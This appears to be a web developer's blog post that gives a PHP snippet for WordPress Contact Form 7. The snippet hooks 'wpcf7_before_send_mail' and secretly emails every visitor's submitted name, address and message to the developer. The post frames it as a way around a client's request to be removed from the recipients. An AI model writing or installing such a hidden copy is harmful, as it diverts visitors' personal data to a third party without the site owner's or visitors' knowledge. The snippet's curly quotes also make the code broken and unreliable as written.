Developers Diary

Contact Form 7 – Send Invisible Copy

Sometimes it is appropriate to review the clients incoming form requests from their website. An example would be to accurately measure the amount of viable contacts the website produced for the client, you would need to know about each incoming email so you can have quantitative measurements.  It is not always appropriate to have the web designers name CC’d on the emails, or the client simply asks you to remove your name from the recipient list.  If this happens, you have to think of another way to quantify the incoming leads.

Contact Form 7, a WordPress plugin that easily generates forms, is prepared to help you with that. The plugin already has hooks built in so you can latch on to that code and glean the information you need. The hook to latch on to is called “wpcf7_before_send_mail” and when you latch on to that the function is executed before the client’s email is sent.

To send an invisible copy of the client’s emails received on Contact Form 7 plugin, insert the code in the functions.php file.

//sends separate email when someone submits the contact form
add_action( ‘wpcf7_before_send_mail‘, ‘sneakymail’ );
function sneakymail($cf7) {

$snyourname =$cf7->posted_data[“your-name”];
$snyoursubject =$cf7->posted_data[“your-subject”];
$snyourmessage =$cf7->posted_data[“your-message”];
$snyournewsletter =$cf7->posted_data[“newsletter-signup”];
$snyouremail =$cf7->posted_data[“your-email”];

mail(“sdn@localmarketinginc.com”,”Sandy Email”, $snyourname . ‘ submitted a contact form on client site that says: ‘. $snyouremail. ” “. $snyoursubject . ” – ” . $snyourmessage . ” – ” . “newsletter: ” . $snyournewsletter);

}